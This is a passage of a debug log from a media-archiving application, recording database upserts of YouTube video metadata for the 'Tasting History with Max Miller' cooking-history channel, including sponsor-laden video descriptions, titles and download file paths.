idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "0c29660a-9df6-4ae1-8b7b-4a58b52af042", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, 1031, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, false, 3, [], 98, ~U[2026-01-06 16:01:05Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", 1031, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, 3, ~U[2026-01-06 16:01:05Z]] 02:52:33.962 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.963 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 16:00:06Z], 3] 02:52:33.965 [debug] QUERY OK source="media_items" db=1.3ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "379dbaf2-f0ef-4ed1-9da9-45667c9f623b", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, 1036, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, false, 3, [], 98, ~U[2025-12-30 16:00:06Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", 1036, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, 3, ~U[2025-12-30 16:00:06Z]] 02:52:33.965 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.967 [debug] QUERY OK source="media_items" db=1.2ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 16:00:39Z], 3] 02:52:33.969 [debug] QUERY OK source="media_items" db=1.5ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "479df7fd-f2ce-4340-87d7-a856b1eb7aac", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, 1254, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, false, 3, [], 98, ~U[2025-12-23 16:00:39Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", 1254, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, 3, ~U[2025-12-23 16:00:39Z]] 02:52:33.969 [debug] QUERY OK source="sources" db=0.3ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.971 [debug] QUERY OK source="media_items" db=1.2ms idle=4.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:00:01Z], 3] 02:52:33.972 [debug] QUERY OK source="media_items" db=1.0ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "eb79f504-3ee8-4823-b342-9fe1cbb559d7", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, 824, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, false, 3, [], 98, ~U[2025-12-19 16:00:01Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", 824, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, 3, ~U[2025-12-19 16:00:01Z]] 02:52:33.973 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.974 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 16:01:10Z], 3] 02:52:33.975 [debug] QUERY OK source="media_items" db=1.0ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "b297443f-fd14-4fc0-9682-a21ee585d489", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, 1393, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, false, 3, [], 98, ~U[2025-12-16 16:01:10Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", 1393, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, 3, ~U[2025-12-16 16:01:10Z]] 02:52:33.976 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.977 [debug] QUERY OK source="media_items" db=1.0ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 16:00:45Z], 3] 02:52:33.982 [debug] QUERY OK source="media_items" db=4.0ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "0b240cd6-f2a4-4561-9b39-d01a8df1f5bb", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, 1379, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, false, 3, [], 98, ~U[2025-12-09 16:00:45Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. 